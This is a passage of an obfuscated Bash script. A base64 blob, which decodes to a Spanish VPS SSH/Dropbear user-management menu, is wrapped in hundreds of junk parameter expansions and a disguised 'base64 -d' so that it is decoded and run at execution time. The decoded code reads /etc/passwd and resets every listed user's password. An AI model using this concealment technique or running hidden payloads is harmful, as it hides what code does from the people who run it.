rDrcONw7PDk8O1w5XDtMOUw7rDmsOxw5HDp8OHwqrCui9hQWFBYUFhQWVFZUVpSW9Pb09vT3VVbk5jQ2FvLycpIgogICAgaWYgW1sgLXogJG5wYXNzIF1dOyB0aGVuCiAgICAgIGJyZWFrCiAgICBlbGlmIFtbICIkeyNucGFzc30iIC1sdCAiNiIgXV07IHRoZW4KICAgICAgZXJyX2Z1biA1ICYmIHRwdXQgY3V1MSAmJiB0cHV0IGRsMSAmJiBjb250aW51ZQogICAgZWxpZiBbWyAiJHsjbnBhc3N9IiAtZ3QgIjM2IiBdXTsgdGhlbgogICAgICBlcnJfZnVuIDYgJiYgdHB1dCBjdXUxICYmIHRwdXQgZGwxICYmIGNvbnRpbnVlCiAgICBmaQogICAgYnJlYWsKICBkb25lCiAgW1sgLXogIiRucGFzcyIgXV0gJiYgcmV0dXJuIDEKICB0cHV0IGN1dTEgJiYgdHB1dCBkbDEgJiYgdHB1dCBjdXUxICYmIHRwdXQgZGwxCiAgcHJpbnRmICIkbnBhc3MiID4gJHtTQ1BkaXJ9Ly5wYXNzdwogIGNsZWFyCiAgbXNnIC1iYXIKICBlY2hvIC1lICIgJChtc2cgLWFtYSAi4pWt4pW84pW84pW84pW84pW84pW84pW84pW84pW8WyIpJChtc2cgLWF6dSAiU0UgR1VBUkRPIExBIE5VRVZBIENPTlRSQVNFw5FBIikkKG1zZyAtYW1hICJdIikiCiAgZWNobyAtbmUgIiAkKG1zZyAtYW1hICLilbDilbwiKVwwMzNbMzc7MW0+ICIgJiYgbXNnIC1henUgIiRucGFzcyIKICBjYXRfdXNlcnM9JChjYXQgIi9ldGMvcGFzc3dkInxncmVwICdob21lJ3xncmVwICdmYWxzZSd8Z3JlcCAtdiAnc3lzbG9nJ3xncmVwIC12ICc6Oi8nfGdyZXAgLXcgJ3Rva2VuJ3xhd2sgLUYgJzonICd7cHJpbnQgJDF9JykKICBbWyAhIC16ICIkY2F0X3VzZXJzIiBdXSAmJiBtc2cgLWJhciAmJiBtc2cgLWFtYSAiIEFQTElDQVIgQSBUT0RPUyBMT1MgQ0xJRU5URVMgW1MvTl06ICIgJiYgcmVhZCBhbGxwYXNzCiAgaWYgW1sgIiRhbGxwYXNzIiA9IEAoU3xzKSBdXTsgdGhlbgogICAgbXNnIC1iYXIKICAgIG1zZyAtYW1hICJMQSBDT05UUkFTRcORQSBUT0tFTiBTRVLDgSBBUExJQ0FETyBQQVJBIFRPRE9TIgogICAgZm9yIHUgaW4gYGVjaG8gIiRjYXRfdXNlcnMiYDsgZG8KICAgICAgKGVjaG8gJG5wYXNzOyBlY2hvICRucGFzcyl8cGFzc3dkICR1IDI+L2Rldi9udWxsCiAgICBkb25lCiAgICB0cHV0IGN1dTEgJiYgdHB1dCBkbDEKICAgIG1zZyAtdmVyZCAiTEEgQ09OVFJBU0XDkUEgVE9LRU4gRlVFIEFQTElDQURBIFBBUkEgVE9ET1MiCiAgZmkKICAKfQp2ZXJpPSQocHMgeHxncmVwIC12IGdyZXAgfGdyZXAgInZlcmlmIikKW1sgISAkdmVyaSBdXSAmJiB2ZXJpZmljYXI9IlwwMzNbMTszMW1bREVTQUNUSVZBRE9dIiB8fCB2ZXJpZmljYXI9IlwwMzNbMTszMm1bQUNUSVZBRE9dICIKZGVzPSQocHMgeHxncmVwIC12IGdyZXAgfGdyZXAgImF1dG9kZSIpCltbICEgJGRlcyBdXSAmJiBkZXNibG9xdWVvPSJcMDMzWzE7MzFtW0RFU0FDVElWQURPXSIgfHwgZGVzYmxvcXVlbz0iXDAzM1sxOzMybVtBQ1RJVkFET10gIgptc2cgLXRpdAptc2cgLWJhcgptc2cgLWFtYSAiICBNRU5VIEFETUlOSVNUUkFDSU9OIERFIFVTVUFSSU9TIFNTTC9TU0gvRFJPUEJFQVIiCm1zZyAtYmFyCm1zZyAtYmFyMwoKI21lbnV1c2VyY29kZXMKZWNobyAtZSAiIFxlWzE7OTNtW1xlWzkybTFcZVs5M21dICQobXNnIC12ZXJtMiAi4p6bICIpICQobXNnIC1henUgIkNSRUFSIE5VRVZPIFVTVUFSSU8gW1xlWzkzbVxlWzI7MTAwbVNTSC9IV0lEL1RPS0VOIFxlWzBtXGVbMzdtXSIpIiAKZWNobyAtZSAiIFxlWzE7OTNtW1xlWzkybTJcZVs5M21dICQobXNnIC12ZXJtMiAi4p6bICIpICQobXNnIC1henUgIkNSRUFSIFVTVUFSSU8gVEVNUE9SQUwiKSIgCmVjaG8gLWUgIiBcZVsxOzkzbVtcZVs5Mm0zXGVbOTNtXSAkKG1zZyAtdmVybTIgIuKemyAiKSAkKG1zZyAtYXp1ICJSRU1PVkVSIFVTVUFSSU8gW1xlWzkzbVxlWzI7MTAwbVNTSC9IV0lEL1RPS0VOIFxlWzBtXGVbMzdtXSIpIgplY2hvIC1lICIgXGVbMTs5M21bXGVbOTJtNFxlWzkzbV0gJChtc2cgLXZlcm0yICLinpsgIikgJChtc2cgLWF6dSAiQkxPUVVFQVIgfERFU0JMT1FVRUFSIFVTVUFSSU8iKSIKZWNobyAtZSAiIFxlWzE7OTNtW1xlWzkybTVcZVs5M21dICQobXNnIC12ZXJtMiAi4p6bICIpICQobXNnIC1henUgIlJFSU5JQ0lBUiBDT05UQURPUiBERSBCTE9RVUVBRE9TIHxFWFBJUkFET1MiKSIKZWNobyAtZSAiIFxlWzE7OTNtW1xlWzkybTZcZVs5M21dICQobXNnIC12ZXJtMiAi4p6bICIpICQobXNnIC1henUgIkVESVRBUiBVU1VBUklPIikiCmVjaG8gLWUgIiBcZVsxOzkzbVtcZVs5Mm03XGVbOTNtXSAkKG1zZyAtdmVybTIgIuKemyAiKSAkKG1zZyAtYXp1ICJSRU5PVkFSIFVTVUFSSU8iKSIgCmVjaG8gLWUgIiBcZVsxOzkzbVtcZVs5Mm04XGVbOTNtXSAkKG1zZyAtdmVybTIgIuKemyAiKSAkKG1zZyAtYXp1ICJNT1NUUkFSIENVRU5UQVMgW1xlWzkzbVxlWzI7MTAwbVNTSC9IV0lEL1RPS0VOIFxlWzBtXGVbMzdtXSIpIiAKZWNobyAtZSAiIFxlWzE7OTNtW1xlWzkybTlcZVs5M21dICQobXNnIC12ZXJtMiAi4p6bICIpICQobXNnIC1henUgIlVTVUFSSU9TIENPTkVDVEFET1MgW1xlWzkzbVxlWzI7MTAwbVNTSC9IV0lEL1RPS0VOIFxlWzBtXGVbMzdtXSAiKSIKZWNobyAtZSAiIFxlWzE7OTNtW1xlWzkybTEwXGVbOTNtXSAkKG1zZyAtdmVybTIgIuKemyAiKSAkKG1zZyAtYXp1ICJFTElNSU5BUiBVU1VBUklPUyBWRU5DSURPUyIpIgplY2hvIC1lICIgXGVbMTs5M21bXGVbOTJtMTFcZVs5M21dICQobXNnIC12ZXJtMiAi4p6bICIpICQobXNnIC1henUgIkJBQ0tVUCBVU1VBUklPUyIpIgplY2hvIC1lICIgXGVbMTs5M21bXGVbOTJtMTJcZVs5M21dICQobXNnIC12ZXJtMiAi4p6bICIpICQobXNnIC1henUgIkFHUkVHQVIvRUxJTUlOQVIgQkFOTkVSIikiCmVjaG8gLWUgIiBcZVsxOzkzbVtcZVs5Mm0xM1xlWzkzbV0gJChtc2cgLXZlcm0yICLinpsgIikgJChtc2cgLWF6dSAiXDAzM1sxOzMxbeKaoO+4j0VMSU1JTkFSIFRPRE9TIExPUyBVU1VBUklPU+KaoO+4jyAgICAgICIpIgplY2hvIC1lICIgXGVbMTs5M21bXGVbOTJtMTRcZVs5M21dICQobXNnIC12ZXJtMiAi4p6bICIpICQobXNnIC1henUgIvCflJIgTElNSVRBRE9SLURFLUNVRU5UQVMg8J+UkiAgICR7dmVyaWZpY2FyfSAgICAiKSIKZWNobyAtZSAiIFxlWzE7OTNtW1xlWzkybTE1XGVbOTNtXSAkKG1zZyAtdmVybTIgIuKemyAiKSAkKG1zZyAtYXp1ICLwn5STIERFU0JMT1FVRU8tQVVUT01BVElDTyDwn5STICAgJHtkZXNibG9xdWVvfSAgICAgIikiCmVjaG8gLWUgIiBcZVsxOzkzbVtcZVs5Mm0xNlxlWzkzbV0gJChtc2cgLXZlcm0yICLinpsgIikgJChtc2cgLWF6dSAiXDAzM1sxOzkybUxPRyBERSBDVUVOVEFTIFJFR0lTVFJBREFTIikiCmVjaG8gLWUgIiBcZVsxOzkzbVtcZVs5Mm0xN1xlWzkzbV0gJChtc2cgLXZlcm0yICLinpsgIikgJChtc2cgLWF6dSAiTElNUElBUiBMT0cgREUgTElNSVRBRE9SIikiCltbIC1lICIke1NDUHVzcn0vTGltaXRlcjIubG9nIiBdXSAmJiBlY2hvIC1uZSAiJChtc2cgLXZlcmQgIiBbMThdIikgJChtc2cgLXZlcm0yICLinpsgIikgIiAmJiAgbXNnIC1henUgIiQoZnVuX3RyYW5zICJcMDMzWzE7OTFtVkVSIExPRyBERSBMSU1JVEFET1IiKSIgCltbIC1lICIke1NDUGRpcn0vLnBhc3N3IiBdXSAmJiBlY2hvIC1uZSAiJChtc2cgLXZlcmQgIiBbMTldIikgJChtc2cgLXZlcm0yICLinpsgIikgIiAmJiAgbXNnIC1henUgIkNBTUJJQVIgVE9LRU4gR0VORVJBTCIKZWNobyAtbmUgIiIkKG1zZyAtYmFyKSIgICBcbiQobXNnIC12ZXJkICIgIFswXSIpICQobXNnIC12ZXJtMiAi4p6bICIpIiAmJiAgbXNnIC1icmEgICIgIFxlWzk3bVwwMzNbMTs0MW0gVk9MVkVSIFwwMzNbMTszN20iCm1zZyAtYmFyCnNlbGVjdGlvbj0kKHNlbGVjdGlvbl9mdW4gMTkpCQkJCmNhc2UgJHtzZWxlY3Rpb259IGluCjEpbWVudV9jcmVhcnVzZXI7OwoyKSR7U0NQZGlyMn0vQ3JlYXItRGVtby5zaDs7CjMpbWVudWRlbDs7CjQpYmxvY2tfdXNlcjs7CjUpcmVzZXRfY29udGFkb3I7Owo2KWVkaXRfdXNlcjs7CjcpbWVudV9yZW5vdmE7Owo4KW1lbnVkYXRhOzsKOSltZW51bW9uaTs7CjEwKXJtX3ZlbmNpZG9zOzsKMTEpbWVudWJhY2s7OwoxMiliYW5lcl9mdW47OwoxMyllbGltaW5hcl9hbGw7OwoxNCkgdmVyaWZfZnVueCA7OyAjL2V0Yy9WUFMtTVgvdG1wL3ZlcmlmaSA7OwoxNSkgdmVyaWYyX2Z1bnggOzsgIy9ldGMvVlBTLU1YL3RtcC9hdXRvZGVzOzsKMTYpcmVjX3RvdGFsOzsKMTcpCnJtIC1yZiAke1NDUHVzcn0vTGltaXRlcjIubG9nCmVjaG8gLWUgIlwwMzNbMTszMm0gIExPRyBFTElNSU5BRE8gQ09OIEVYSVRPIgptc2cgLWJhcgptc2cgLW5lICIgRW50ZXIgUGFyYSBDb250aW51YXIiICYmIHJlYWQgZW50ZXIKJHtTQ1B1c3J9L3VzZXJjb2Rlcwo7OwoxOCkKY2xlYXIgCmNsZWFyCm1zZyAtYmFyCnNlZCAtaSAtZSAncy9eWyBcdF0qLy87IHMvWyBcdF0qJC8vOyAvXiQvZCcgL2V0Yy9WUFMtTVgvY29udHJvbGFkb3IvTGltaXRlcjIubG9nCltbIC1lICIke1NDUHVzcn0vTGltaXRlcjIubG9nIiBdXSAmJiB7Cm1zZyAtdGl0Cm1zZyAtYW1hICIgICAgICAgICAgICAgIFJFR0lTVFJPIERFTCBMSU1JVEFET1IgIgogY2F0ICR7U0NQdXNyfS9MaW1pdGVyMi5sb2cKIG1zZyAtYmFyCiB9CiBtc2cgLW5lICIgRW50ZXIgUGFyYSBDb250aW51YXIiICYmIHJlYWQgZW50ZXIKJHtTQ1B1c3J9L3VzZXJjb2Rlcwo7OwoxOSkKY2xlYXIKdG9rZW5wYXNzCm1zZyAtbmUgIiBFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgoke1NDUHVzcn0vdXNlcmNvZGVzCjs7CmVzYWM=" ${*%@7,M} ${*//h13iNJ/h@-px} "${@~}" "${@%%cDOBOL}" ${*^^} "${@//vJ\{XA/>\]d\\}" ${*~~} ${*//+\}z\}A+#K} ${*,} ${@/IG\]KPqUL} "${@,,}" ${@//PpJ1&;} ${*,,} ${*#<MhRK=} ${*,,} ${@##h*-<#} ${*~~} "$@" "${@~}" "${@/\}Vvf7/H*\K*^4i}" ${*~~} ${*^^} "${@~}" ${*/5b\"q/TG5t} "${@,,}" "${@/Xjpd}" ${@^^} ${*^^} ${*^^} "${@##1_G356F}" ${@/,6k5} ${@/OspS\)H$/O;VR} ${*//>8QMX/eso:\{\[^} ${*/fgstS:h,/jHkJQL-} "${@~~}" ${@%\!L$<ek*,} ${@,,} ${@} "$@" ${*%%R=Npz} ${*//RU\),C} ${@%Sb\]9} ${*^^} ${@%%hu31PXD} ${*^^} "${@/$Tqy\]}" "${@%\]zvlr}" ${*##%\]BX=<y} ${@/S\}w4;X/d6hMrOA} $@ ${!*} "${@/$ue~q01}" ${*#:i\`;} ${!@} ${@,,} "${@/.V%.f8F+}" ${*^^} ${!*} ${*##VwPfM\]_T} ${*~} "${@#AuTr-yt}" ${*~} ${*/Hv$O/\`:e$6+S} ${@/\(rTZ3i/@|5b} "${@^}" ${*~~} $@ ${*~~} "${@~}" ${*#N\{xEf6} ${*,,} ${*%%:,Qv} ${*/R&s_b\)\)} "${@,,}" ${*#n\!0u} ${*^} ${*} ${*%%u\`OY$} ${@%g\)&>f} ${*//;WW_S3R} ${!@} "${@##+9meD9m}" ${*##5Lmse} ${*%n%\}0} ${@//?Dicvk5\!/Hc9NLg} "${@/\}wzNy#Rd}" ${*,} "${@~~}" "${@~}" ${@//:\{-\[/#yCsb5\{} ${*~~} "${@/&qD@bIp>/y:.n}" "${@//gC+5+:LD}" $* ${@##-Feig8q} ${*#l3n^V~} ${@/CV\}On>Hr} ${*^} ${*##zk\;9UrI} ${*%9V5\]QkA} ${*~} ${*~~} ${*} "${@,}" ${@#+&M$} ${@} ${*//l1o#Q/f>K1} $* ${*} ${*~~} ${*~~} "${@#CDkh\"\)-}" ${*~} ${*,,} ${*//6-P\(K/\}t8H>Z\]7} ${*,,} $@ ${*^} "${@#_nk5}" ${@##3@3F4?2+} "${@,}" ${@,} "${@^^}" ${*,,} "$@" "${@##J\{6Qz}" ${@} "$@" "${@^^}" $* ${*^^} ${*/ygeF\}\{t} $@ ${*,,} ${*%fhsfN2C} "${@//w=f\}zi/5<ie*A&D}" ${*##?-7|3} ${*,} "${@~~}" "${@~~}" ${@##\]?\(\"av} "${@~~}" ${@^} ${@//.\[=\`u+jY/ha<z} ${*//3+\]~/NLBVRh\{} "${@%%^3PocA5}" ${@,,} ${*~~} ${*%~vMg+} ${*/V$pxW0\)/\[?MK\{F-} ${*/0QyQj9w$} ${@~} ${!*} ${*,,} ${*/\}\[V=J\[~G/\}\)cci7} "${@%%k423\(}" ${@//yRNo\}7j} ${@^} "${@}" "${@%%\!bQi9CZ}" $@ ${@/=\HI-%} ${!*} ${*%2KGA9m} ${*^} ${*^} ${!@} ${*~~} ${*/X=^Q\]} "${@%%oB;\{\\}" ${*//<*6~\"=~} ${*%%vz9:wmtj} "${@#Asekp9;n}" "${@//mG\(\"5,/CF\{d}" "${@%%3%|Du}" "${@^}" ${@} ${*%%l>==V&~} ${!*} "${@#\`_@chF\]@}" ${@%%x$\"\(2$Z} "${@~}" ${*/U6w&\`\}F} ${@~} ${*/D?H_r/H1@i} ${*#\AVw>RVH} ${@^^} ${*} ${*^} ${*/@-M_xm} ${*/gw^79} ${*##stX\"s>JP} ${@%\(>~V0} $@ "$@" "${@^^}" "${@~~}" ${@//\)gry2Qkl} ${!*} ${*%%TWUWi} $* ${@/#=\"2&C|} ${@,} ${@/d5YY/\[<;T} ${!*} ${*//\*\`KF,Px/L6ca} ${*##Kg\[Ita>} ${*/kzae} ${*//\(SE\`WfO#} ${*/l&<<C} $* ${*//6UVu\!qg/?Z^jGY-} ${*^^} ${*/?7\~:A?%} ${!@} ${@} ${*//;$-O-9} "${@}" ${*,,} $* ${@#Zd1SPK} ${*/d<x-\)+/w~N~q\{g~} ${*~~} ${*#-ihtL+} ${*/6Me1/:IBC} ${*^^} $* "${@##0<DCiOsD}" "${@,,}" ${*%\{\`Vt\`Ah} ${*#aax+\]} ${*%*\"&xR} ${*##O5#VD\!} "${@~~}" ${*,,} ${*/Ct>#M5Hc/u&C~T\[} ${!@} "${@^^}" ${*/~2\!o/yub=h+~?} ${@^} "${@%%S\!p\]K}" ${*~} ${*~} ${@^} "$@" ${*~} ${@/hR\{HX} "${@/;\b\}\`V\{0}" "${@%%xg\{2N\{UX}" "${@#_TF8fX}" ${*%Lg\[54o} ${*} "${@~~}" ${*//ke?\`1\(/$\)\`jy} ${@##fOQdt} "${@%~ORd\[}" ${*} "${@^}" "${@%%2yQ;q}" ${@%%6A:=<} ${*#%yPEO\(3} ${@%\{\`PE$7} ${@^^} $* $* ${*/x2b3E\}c} ${*} ${*~~} "${@^^}" "${@##ltiz6yw&}" "${@}" ${*//PoMk} ${*~} "${@##-2kTy=&}" ${@^^} ${@//OEPF/Q1&_Z*P} $* ${@,} "$@" ${*^^} ${*^^} ${*~} $* ${@%%barv-dz} "${@^}" "$@" $* ${*/l^2?&\!7} "${@/\(*\"T:/|ecI;I}" "${@//\]s;\}$Lng/%uN;\{2}" ${*//Q\}#\"dy} ${*,} "${@/kcfA/\"\`Yow;w}" ${*^^} ${@%g\{5I} ${!*} "${@/u|\}N*$P/U\],+Q:h}" ${*#*:9@} ${!@} ${@%%4:7Q\[J} ${*^} ${@//\(Y4<sS/%Og_^E\[Y} ${!@} ${*%%XRO:fon} ${*} ${@/ss\{&vf} ${!@} "${@%%Vy?@G.l}" ${*%sdjstboe} ${*~~} ${*} "${@//g~GO/dT+8\!}" "${@}" ${*^^} ${*/Df\)vww/@u\`BI} "${@/?vPB\]ks}" "${@^}" ${@##?+K=\[} ${@%%@keuT\{9} ${*%%hZjJhP} $* "${@,}" ${*,,} ${*~~} ${*^} ${!@} ${*%%b-jA} ${@,,} ${@^} ${*//fl_P5/5-O1} ${@#zKC|-rH} ${@~~} ${*^} ${*~} ${*^^} ${*,,} ${@,,} ${*%_$*cbt\)} ${@^^} ${*%%z0W-<} "${@/1^I7cY/t^IwLOj}" "${@,,}" ${*/L2=%/HP,gsA} ${*//j1yGU8F} "${@/\]<8tcV&-/iFEc\]}" ${@//P#GQjR\{J/\"J@vU} ${*,,} $* ${*^} "${@//QtX\(D$A/%ql7#u\(}" ${@##q|myp} ${@%%lIAx\)|l} $@ ${@%>\!Ba6m} "${@##oMR0004P}" ${@} "${@//WYUn}" ${@} "${@%.zm:}" "${@}" ${*,,} "$@" ${*,} $* $* ${!@} $@ "${@##cO_sT}" ${*##JC:3|p9} ${@,,} ${*,,} "${@,,}" ${@~} "${@~~}" "${@}" ${@^^} "${@~~}" "$@" ${*,} ${*^} ${*} $* "${@~}" ${*##$I=Iw} ${@} "${@~}" ${@,,} ${@,} ${*} ${*/kc-a=U/Nsmr>_3L} ${@^^} ${@%%IKDT@} "${@^}" "${@%%jV8mgSW}" ${*/K\"<A^\{/<3-fDXZl} ${*^} ${*//<=Hd8} ${*#GBCW\hFV} $* "${@%_2pp+S}" ${*^} ${*,} $* ${!@} ${*//bh3|+*u?} ${*~~} "${@~}" "$@" "${@,}" ${*//=sPrQw} ${@%%spN>n;} ${*%14_L} "${@}" ${@} ${*^} ${*~} "${@//^kQ+z4|k}" ${@/$\!kK\[2/\[\"i4u} ${*//>\{C;YM.9} ${*##lqh\[Ih&} ${*/Y\k*J^Z/%Gft\`H~C} ${@/X\Q@n+Nr} ${*} ${@##,\{K@3} ${*/^s:*JhUe/1_3F5} ${@~~} ${@#\}&=#LeOI} ${*,,} ${*,} ${*,,} ${@//9IC2MRh} "${@,,}" ${*~~} $* ${*} ${@#,k:9Q} ${!@} ${*//~.<\[I\]} ${*^^} $@ ${*%%2J\[H1b} ${*~~} ${*//@Y~FDQCI} ${*//YtPS|>\W} "${@,,}" ${*#Dcr#\!n5} ${@##9e\}>c} ${@~} ${!@} "${@#j\}1t\"4+\"}" ${@%%kii-4a6} ${*##xO2|\V} ${@,} ${*%OILPqR} ${*/\(L~k1/.\]&bbH} "${@##?k.p}" ${*%%gRM%+~oj} ${*~} ${*~} ${!*} ${@//2k\sz?} ${*#O\),*Bt\`} ${*//=P<1/SB;Bq} "${@/L8A\]/m;\{5$c}" ${*} "${@##SzToIMM}" $* ${*^} ${*^^} ${@//\`Y8PuMU3} "${@//\}fN7Y?N>}" ${*} ${@%%:gLt-~} ${@%%e?T+j01y} ${@%%PV\}P0} "${@/Sf$\n/%MoO}" ${*#Gv_>O\}|-} ${@##MAUZ6} "${@%\)_p2^p}" ${*^^} ${*/X\}Ue&/|~j1} ${!*} ${*//T\{\[\`.|T/hye9H\!U1} ${@/n8\`f/9zj2t} ${@##:j\"I:&V} ${*/FUjr.h/&g6L} "${@,}" ${*/:|A>9R/Jtc<\)x} ${@~} ${*,} ${*,} "${@##S\]zT?S<}" ${@%\"Ns%XJb-} ${*~~} ${*^^} ${*/\]\`a;?K/M\}:XT} ${!@} | ${*,,} ${*//l30V} ${@/%W-k/x>qH} ${*,,} ${*,} ${*,,} $@ ${*^} ${@%%lYxf\}I>} "${@^}" ${*~~} "${@}" $* "${@~}" ${*,} ${*%h\]|6*\)s} ${!@} "${@,}" ${*%ooJpg?V} ${@} ${*^} ${@#\)uq4|\`} "${@//M%d,\`F./6?wok}" "${@}" "${@~~}" "${@#Qr4THS}" ${*~~} ${*} ${@//4*J\9*W} ${!*} ${@~} "${@##$E=iZk}" ${*} $* ${*//DvkvZoi/\(K*B<MT\(} ${*/aRQsG^A} ${@^^} ${@/@0v-\{B} ${*%%Z\{=A\"mA} ${*%%54o34} ${*#X:wl-O+} ${*,} ${@^^} ${*%7a_5} $@ ${*,} ${*,} ${@//=*ua0/i-~K} ${@//8vigH/CW3Xw} ${*%%e-F\(os} $* ${@##dA.x1r\[} ${*//\}lXwq\},/-Pk\]} ${*~~} ${@} ${@##$6DqY} ${*#W:*L8ZoB} ${@,} "${@^}" $* ${*} ${@/CyB<} ${*,,} ${*#7H-@YN} $* ${@,,} ${*~} ${@,,} ${@^^} "${@%%dO:Jr1}" ${@//:$++Mbwk} ${*~~} "${@/TGbG/l\[dYOk}" ${@/5TzH;2/8g%E7} ${*%:\`$\[,i} "${@~~}" ${*/eqC^9hx/TT%^Zox} ${*//AEfHo8&} ${!*} ${!@} ${@#JPz6S:} ${@,} ${@//f:\{lfg\(} ${*%6\0IEL} ${*%%Ny4kcY2s} ${*##jxN,wCG} "${@^}" ${*/uL#wXI/:\oh\`} ${@/4\!\]S} ${*#gS#L} ${*~} ${*//S\"W#H/Hl?uyPy} ${*} ${*/\aHb\)Ql\(} ${*^^} "${@%%W\2l}" $* ${@%2LD@K} ${*,,} ${*//%;;fih/en3Bt~.} ${*^^} $* ${*} ${*//sXCgyF</$\]&4+} "${@#w2i1}" ${*##\}a\jg9\2} "${@#9S%c2\!}" ${@//#\{IVm7Z\(/.j<W} ${*^} ${*%%\[Q+10} "${@##r1LujpX}" ${*^} $* ${*~} ${@#9#VZOH} ${*} "${@%0vw\"}" ${@#X6z$<\]B} ${*%%4:Rq\)wv\`} $* ${*%%A&7O} "$@" ${*,,} ${*} ${@#,\)Z2bT|z} "${@~~}" ${*/8&~:p>F/X\[tz~<?} ${*^} "${@##OV~n}" ${@,,} "${@,,}" ${*~} ${@/Kf2\[<c} ${@%\!DZdG4e=} ${*^^} ${*/sf\!Y} ${!@} "${@%%BR7OS}" ${@^} ${*,,} "${@%%BSh\;}" "${@}" "${@//^pf5oB}" "$@" ${@^^} $* ${@} ${@,} ${@/hOs+\2/y,qL} "${@^^}" ${*/WA\[=mBf<} ${@/x\(Ur\)o/\`AD\(Fe} ${*^^} ${*//n3g,} ${*//yko\`Pigs} "${@/xf%?h72}" ${*%u\[\)<} "${@~}" ${*,} ${*,} "${@##KRm:}" ${*~} "b"a""$'\u0073'""e'6'"4" -d ${*%%hONhxrO} ${@#baZwl} ${!*} ${*/TNE\`k~P} "${@/^#h*;c0}" ${@//~@0_} "${@%%-$\[-^?<}" ${*//y\}~s} ${*/0\]%#u\`} ${*//6\{83} "${@%%MH^Fb%}" ${*%%Lbz8z} ${*%%U6YJKu} "${@,,}" ${@/m;*OP/>g&^&y} "${@//4@2X;8}" ${@#\!dPP5} "${@#2-=SgF5S}" "${@/*P$\(%\`K\)}" ${@^^} ${*/38XGGYoj/N\"3g.} "${@^^}" ${*//YV>za?r} ${*^^} "${@^^}" $* ${*##.a|lyd*} ${*%%:0HE22} ${*^} $* ${@#KPbf3} ${*#I8\}S6} ${@%%M150.\!$c} ${@^^} "${@~}" "${@~}" ${*,,} ${!*} "${@//v8H\!SJcp/A\[U\"}" ${*/SEjf--4/$Jc#5} ${!@} ${*##;tHrP*n} ${*~~} ${@/ZvQ@} "$@" ${*,,} "${@}" ${*/dDs7} ${@,} "${@%%acy0\]\`\!}" ${@##\}|l\).%t?} "${@~~}" ${@%%h\]CeUk} "${@^}" "${@^}" "${@//E>0qt;f^/tS\)\(K\[X?}" ${@,,} ${*^^} ${*,} ${!@} ${*,,} ${@^} "${@%44^m}" "${@#L@a6cZ\`=}" $* "${@,}" ${*%+r*M} ${@,} ${*%pNJd} ${*##YOK_?#^} ${!@} ${*,,} "${@^}" ${*,,} $* "${@}" ${@##wOB>=B} ${*%\"4~=Ci} ${@%1g\}D} "${@%%\nsWy}" ${*~} "${@^^}" ${*} ${*/OddCi/S>~>} ${!*} ${*^} ${*##oAl\)il} ${!@} "${@^^}" ${@//6Y44VV\]A} "${@,}" ${*} ${*//inf8\}/LGr\"8Dm} ${*//6m\"Q\}v} "${@//>E8rus8:}" ${*/?>n\"U_4C/\(\{qF;\]} "${@,,}" $* ${*//3\a0Ukg} "${@##wArV\(}" ${@//|-\{R#~\[\{/n%1o\`V6} ${*#G5#wZ<nK} ${*~~} ${*,,} ${!*} ${*/Z\{LKd$X/\]^\qB} ${*//\`4~W1n} ${*%%_I\]SNIGj} ${@/tZ.dSh} ${@} ${*~~} ${*##>\[.\!c>} ${!*} ${*~~} ${*%H&9xnZM} ${*/\"c@I} ${*} ${@} ${*^^} "${@/X?6T6E\{/\}$7U$jh?}" ${*##CNuW} ${*/\`*A\!6j\)} ${*} ${*,} ${@^} ${@^^} ${*//|\[~1bE/\]~~4} ${@,,} ${!@} "${@/DEBv\!YT/K9l\"}" ${*//DA\!u/;03$&d>} ${@%osU0-\\} ${*##HoxO4U} ${*%*K1Is} "${@^^}" "${@%^Vnad;}" ${*/9Df:-y} ${!*} "${@#\`lmv}" $* ${*##,ZP?} ${*,,} ${*,,} "${@^}" ${@^} ${*~~} ${@/U|TF?/\}$:Uc} ${@##0PTQ} ${*//MmD#>L} "${@%%Jc62}" ${*/T\7%pr\]} "${@^}" ${*~~} ${*##_IoZR,G} ${*^^} ${@%7u*5} ${*/BcQTU1/nzY^w,} ${*,} "${@/Pj&,/ANbn\\}" "${@}" ${*##HT~o} ${@,,} ${@##\{sdZi\)\";} ${!*} ${*#\!,ehdM;E} ${@,} ${*//Pm>w5b-} ${@##>4=I0xB} "${@/T$Ll9Sh:}" ${@//6%IpEkO} ${*##\]\M\"\)\).} "${@%%SYxh\{}" $* ${*%#\);b} ${!@} ${*##Rfh|} ${*/<a8=} ${*,,} ${*^} ${!@} ${*%%+k<@} ${*,,} "${@#~x\}?+3}" "${@^}" ${*^} "${@^^}" ${*~~} $* "${@#pT@ng}" ${*%%lDul\\} ${@%ThZ^c9t?} "${@%%#3@YBRT9}" "${@}" "${@%%#WRt}" $@ ${@//_l797p\(} ${*/=\)HH} ${*%>jXKGU} ${*} "${@%%qe<?bzrd}" ${*} "${@^^}" ${*/F~\{Ey} ${@^^} "$@" ${*//_GCok\`} ${*//ZBh\{\"/gx\MsSke} "${@^}" "${@//~BW3c}" ${*%%\[\v@M} )" ${!@} ${@/#MY~\"A/q;2<O\"\{\!} ${@} ${*%pF$AaOS} ${*//\O\[Gm} ${@} ${!*} ${@%Q_XZ} ${*~} ${@^^} ${!*} ${@%%$Yoax%} ${@//j=1\]Ql&z} ${*//9ehR@,ta/\"&WqW} "${@#*6f|E\[}" ${*//qBtz\}Vk/tcht\\} $@ ${*} "${@~~}" ${@//OlYbzex} "${@//T0Y+\[@\^}" "${@//;1T-\!\`~5}" "${@~~}" ${*~} ${@^} ${@/I$%w/Yy9@x} ${@^^} ${@~} ${*^} ${!@} ${*%1\)&W:OIN} "${@^^}" ${*^} ${*} ${*//vlWP_/yJRS8=BC} "${@^}" ${*~~} ${@#1\"hH5_|} ${*,} ${*##*%W&P} ${*,,} "${@,}" ${*} ${*/5eP\{} ${@%%;FrpPAZr} ${*/XwRSC\(/rNj#8} ${*^} ${*%%\(>N#\[} ${*,,} ${*%%q\[Fd} ${*/tce\[U\(\\} "${@,,}" ${*%%oV&Y|} "${@,,}" ${@^^} ${*^} ${*#Cm=xS} "${@//?I>Hvw/OYub}" ${*,,} "${@##mVx2S}" ${*^} ${@~} ${@,} ${*^^} ${@##;xSF\!=b\]} ${@//9\{?~i\"d/hVYo\`&-} ${*%VWpb#6G} ${*,,} ${*^^} ${*#\`K|.H} ${*} ${@~} "${@%SfRz4u}" ${*~} ${*^^} $* ${*##$4\{~Mwf} ${*^^} ${!@} ${*/SoC+A#\{K/TLwaLi} ${*//8:=X#/0meB>Y} ${@/aA^Xr*/A0E>} "${@##;a\)*DQf\]}" ${@%xb4y} ${*^} ${@/=@Lt} ${@/bn4&&/#1JGW+} "${@,}" ${*%%YP@\{?$1} ${*//\s&?=_*/_rlA\[} ${*} ${*} "${@}" ${@%+K,+a} 